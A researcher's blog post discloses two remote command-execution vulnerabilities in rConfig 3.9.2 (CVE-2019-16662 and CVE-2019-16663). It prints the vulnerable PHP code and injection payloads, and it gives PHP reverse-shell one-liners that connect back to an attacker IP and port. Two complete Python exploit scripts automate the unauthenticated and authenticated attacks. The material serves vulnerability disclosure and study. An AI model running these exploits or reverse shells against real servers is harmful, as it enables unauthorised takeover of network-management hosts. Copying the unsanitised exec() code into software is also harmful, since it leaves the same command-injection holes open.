# rConfig v3.9.2 authenticated and unauthenticated RCE (CVE-2019-16663) and (CVE-2019-16662)
Posted on 2019-10-252020-01-03 by
[Askar](https://shells.systems/author/askar/)

Estimated Reading Time: 6 minutes
#### Summary about rConfig
rConfig is an open source network device configuration management utility for
network engineers to take frequent configuration snapshots of their network
devices.
#### About the exploit
I was able two detect two remote command execution vulnerabilities in two
different files, the first one called "ajaxServerSettingsChk.php" file which
suffers from an unauthenticated RCE that could triggered by sending a crafted
GET request via "rootUname" parameter which is declared in line #2 and then
passed to exec function in line #13 which you can inject it with a malicious
OS command to be executed on the server, this vulnerability was
straightforward to exploit and to discover and later on I will show you how to
discover it and how to exploit it.
The second vulnerability has been discovered in a file called
"search.crud.php" which suffers from an authenticated RCE that could triggered
by sending a crafted GET request that contains two parameters, the first one
called "searchTerm" and this parameter can contains any value you want , but
it should be existed so we can reach the exec function in line #63.
I decided to hunt for a RCE as usual, So I started to list all unsafe
functions using a very simple [python
script](https://github.com/mhaskar/RCEScanner) I wrote which been used in a
previous case studies.
### Analyzing the Unauthenticated RCE
After running the script, couple of results showed up to me, I start to check
the files andnoticed that there is a file called "ajaxServerSettingsChk.php"
located in **install/lib/ajaxHandlers/ajaxServerSettingsChk.php ** which
contains:
```
<?php
$rootUname = $_GET['rootUname'];
$array = array();
/* check PHP Safe_Mode is off */
if (ini_get('safe_mode')) {
$array['phpSafeMode'] = '<strong><font class="bad">Fail - php safe mode is on - turn it off before you proceed with the installation</strong></font>br/>';
} else {
$array['phpSafeMode'] = '<strong><font class="Good">Pass - php safe mode is off</strong></font><br/>';
}
/* Test root account details */
$rootTestCmd1 = 'sudo -S -u ' . $rootUname . ' chmod 0777 /home 2>&1';
exec($rootTestCmd1, $cmdOutput, $err);
$homeDirPerms = substr(sprintf('%o', fileperms('/home')), -4);
if ($homeDirPerms == '0777') {
$array['rootDetails'] = '<strong><font class="Good">Pass - root account details are good </strong></font><br/>';
} else {
$array['rootDetails'] = '<strong><font class="bad">The root details provided have not passed: ' . $cmdOutput[0] . '</strong></font><br/>';
}
// reset /home dir permissions
$rootTestCmd2 = 'sudo -S -u ' . $rootUname . ' chmod 0755 /home 2>&1';
exec($rootTestCmd2, $cmdOutput, $err);
echo json_encode($array);
```
As we can see in line #2 the scripts save a GET request called 'rootUname' and
save it to '$rootUname' variable, and in line #12 it concatenate the
'$rootUname' with some strings and save it to 'rootTestCmd1' variable in line
#12 then pass it to exec function in line #13 and do the same for the rest of
the lines.
So we just need to inject our command and escape the string on line #13 to get
our command executed, and to do that we can use the following payload:
```
; your command #
```
To test it I will modify the code and echo the result of the **exec** function
in line #13 then encode the payload and send it to get the following:

And as we can see the result of sending encoded "; id #" command in rootUname
is to get the command executed successfully two times.
So, to get a shell we can use the following payload:
```
;php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");
```
> I used this payload to prevent using nc binary which is not installed by
> default in CentOS 7.7 mini.
And after encoding and sending the payload using Burp, we will get the
following:

We popped a shell !
And to automate the process, I wrote a simple [python
code](https://gist.github.com/mhaskar/ceb65fa4ca57c3cdccc1edfe2390902e) to
exploit this vulnerability:
```
#!/usr/bin/python
# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16662
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) != 4:
print "[+] Usage : ./exploit.py target ip port"
exit()
target = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]
payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))
install_path = target + "/install"
req = requests.get(install_path, verify=False)
if req.status_code == 404:
print "[-] Installation directory not found!"
print "[-] Exploitation failed !"
exit()
elif req.status_code == 200:
print "[+] Installation directory found!"
url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload
print "[+] Triggering the payload"
print "[+] Check your listener !"
requests.get(url_to_send, verify=False)
```
And after running the exploit, we will get the following:

We popped a shell again !
### Analyzing the Authenticated RCE
So , one of the other results that showed up on the RCE scanner, I got another
interesting piece of code in file called " **lib/crud/search.crud.php** "
contains the following:
```
if (isset($_GET['searchTerm']) && is_string($_GET['searchTerm']) && !empty($_GET['searchTerm'])) {
/* validation */
$searchTerm = '"' . $_GET['searchTerm'] . '"';
$catId = $_GET['catId'];
$catCommand = $_GET['catCommand'];
$nodeId = $_GET['nodeId'];
$grepNumLineStr = $_GET['numLinesStr'];
$grepNumLine = $_GET['noLines'];
$username = $_SESSION['username'];
// if nodeId was empty set it to blank
if (empty($nodeId)) {
$nodeId = '';
} else {
$nodeId = '/' . $nodeId . '/';
}
$returnArr = array();
// Get the category Name from the Category selected
$db2->query("SELECT categoryName from `categories` WHERE id = :catId");
$db2->bind(':catId', $catId);
$resultCat = $db2->resultset();
$returnArr['category'] = $resultCat[0]['categoryName'];
// get total file count
$fileCount = array();
$subDir = "";
if (!empty($returnArr['category'])) {
$subDir = "/" . $returnArr['category'];
}
exec("find /home/rconfig/data" . $subDir . $nodeId . " -maxdepth 10 -type f | wc -l", $fileCountArr);
$returnArr['fileCount'] = $fileCountArr['0'];
//next find all instances of the search term under the specific cat/dir
$command = 'find /home/rconfig/data' . $subDir . $nodeId . ' -name ' . $catCommand . ' | xargs grep -il ' . $grepNumLineStr . ' ' . $searchTerm . ' | while read file ; do echo File:"$file"; grep ' . $grepNumLineStr . ' ' . $searchTerm . ' "$file" ; done';
// echo $command;die();
exec($command, $searchArr);
```
First of all, we need to make sure to pass the first if statement in line #25
by sending a GET parameter called 'searchTerm' so we can get the body of the
statement, then we need to send another GET parameter called "catCommand"
which will contain our payload that will be passed later on to exec in line
#63 after being concatenated with some string in line #61 and stored to
variable called $command which will be executed by exec function in line #63
as I mentioned.
So I will use a payload to test my theory about this vulnerability by using a
sleep payload which will try to sleep for 5 seconds and then watch the
response time and compare it with the normal one, and by looking at line #61
we can escape the string and execute our command using multiple payloads, and
for the testing I will use this one:
```
""&&$(`sleep 5`)#
```
And after sending it with Burp, we will get the following:

Sucess! our sleep worked and we can confirm that the command is executed.
> There is TONS of ways to test the payload instead of sleep payload that you
> can use.
And to get a shell I used a php oneliner and constructed it to be usable with
the concatenated string to be like the following:
```
""&&php -r '$sock=fsockopen("192.168.178.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'#
```
And to automate the process, I wrote a simple [python
code](https://gist.github.com/mhaskar/e7e454c7cb0dd9a139b0a43691e258a0) to
exploit this vulnerability:
```
#!/usr/bin/python
# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16663
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
```
```
import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
```
```
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) != 6:
print "[+] Usage : ./exploit.py target username password ip port"
exit()
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
request = requests.session()
login_info = {
"user": username,
"pass": password,
"sublogin": 1
}
login_request = request.post(
target+"/lib/crud/userprocess.php",
login_info,
verify=False,
allow_redirects=True
)
dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)
```
```
if dashboard_request.status_code == 200:
print "[+] LoggedIn successfully"
payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port)
encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}".format(quote(payload))
print "[+] triggering the payload"
print "[+] Check your listener !"
exploit_req = request.get(encoded_request)
elif dashboard_request.status_code == 302:
print "[-] Wrong credentials !"
exit()
```
And after running the exploit we will get the following result:

we Popped a shell !
暂无评论